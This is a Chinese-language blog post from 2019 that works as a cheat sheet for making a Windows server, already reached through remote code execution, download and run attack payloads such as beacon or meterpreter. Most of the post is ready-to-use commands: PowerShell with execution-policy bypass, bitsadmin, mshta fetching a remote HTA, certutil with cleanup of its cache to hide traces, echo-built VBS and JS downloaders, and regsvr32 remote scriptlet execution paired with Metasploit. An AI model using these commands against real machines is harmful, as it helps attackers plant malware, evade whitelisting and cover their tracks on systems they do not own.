Windows下远程下载的一些姿势

Windows远程下载payload

Posted by hmoytx on October 24, 2019

Windows下远程下载的一些姿势

简介

现在越来越多的场景是利用RCE工具直接执行命令,在这种情境下,有时候为了返回一个beacon或者meterpreter需要上传payload,而直接上传又不那么方便,这时候就会需要用命令去让服务器下载payload,这里主要讲windows,用的最多的还是powershell,但是光靠powershell一种姿势肯定不够,毕竟是win 7之后才内置了ps,而且也不仅仅只能靠ps去执行下载,这里列出几种常用的方法参考。

Powershell

有关于powershell的文章很多,我这里就简单的列一下。

powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://xxx.xxx.xxx.xxx/1.txt','C:\1.txt')

191024_1
在powershell 3.0版本后还引入了wget的功能。

powershell Invoke-WebRequest -Uri "http://xxx.xxx.xx.xxx/1.txt" -OutFile "C:\1.txt"

Bistadmin

BISTAdmin从win 7以上是自带的,在网络不稳定的情况下可以使用,它会在下载出错的情况下自动重试。

bitsadmin /rawreturn /transfer down "http://xxx.xxx.xxx.xxx/1.txt" C:\1.txt
bitsadmin /transfer down /download /priority normal "http://xxx.xxx.xxx.xxx/1.txt" C:\1.txt

上述命令,后者是可以查看进度条,我没怎么用过。
191024_2
注意:在下载大文件的时候是要提升下优先级的。

bitsadmin /setpriority down foreground 

Mshta

这个工具不用多说,经常用,用来执行hta文件,通常就是后面跟一个url执行hta,它会通过mshta去执行网络调用,缓存文件在IE缓存中。

mshta http://xxx.xxx.xxx.xxx/x.hta

Certutil

Certutil.exe是一个命令行程序,作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链。

certutil.exe -urlcache -split -f http://xxx.xxx.xxx.xxx/1.txt  #会保存在当前目录下

certutil下载完后会留有缓存,需要清除痕迹,执行:

certutil.exe -urlcache -split -f http://xxx.xxx.xxx.xxx/1.txt delete

191024_3

Vbs脚本下载

首先创建vbs文件,这里因为很多情况下是要自己用echo去写入的,我直接贴命令。

echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open ^"get^",wsh.arguments( 0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >>download.vbs

原脚本代码去掉echo 还有用于转义的^符号即可。
写入后,执行:

cscript download.vbs http://xxx.xxx.xxx.xxx/1.txt C:\1.txt

191024_4
这种方式是全版本通用的,但是https是不行的。

Js脚本下载

也是通过cscript来调用,直接贴一下源码:

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false); WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open(); BinStream.Write(WinHttpReq.ResponseBody); BinStream.SaveToFile("1.txt");

实际中需要用echo去写入:

echo var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); WinHttpReq.Open("GET", WScript.Arguments(0), ^/*async=*^/false); WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open(); BinStream.Write(WinHttpReq.ResponseBody); BinStream.SaveToFile("1.txt"); >> download.js

使用的时候跟vbs一样:

cscript /nologo download.js http://xxx.xxx.xxx.xxx/1.txt

Regsvr32

Regsvr32.exe是windows用于注册dll和ActiveX控件的一个工具,可以通过下载payload文件缓存到IE中,远程注册执行,通常这里配合msf使用,但是有个问题,msf生成的sct,底层其实还是调用了powershell的downloadstring+iex方式,如果在有防护软件的情况下可能会翻车。要根据实际情况来使用。
调用命令:

regsvr32 /s /n /u /i:http://xxx.xxx.xxx.xxx/abcd123.sct scrobj.dll

msf配置如下:
191024_5
我本地执行的时候崩了,什么鬼。。
191024_6

总结

类似的姿势还有很多,windows这种远程的程序白名单绕过有很多,我只列了一些我常用到的,实际中肯定还是要根据实际情景去选择,组合利用。
其实就是我又菜又懒惰而已。
说到底还是条懒狗。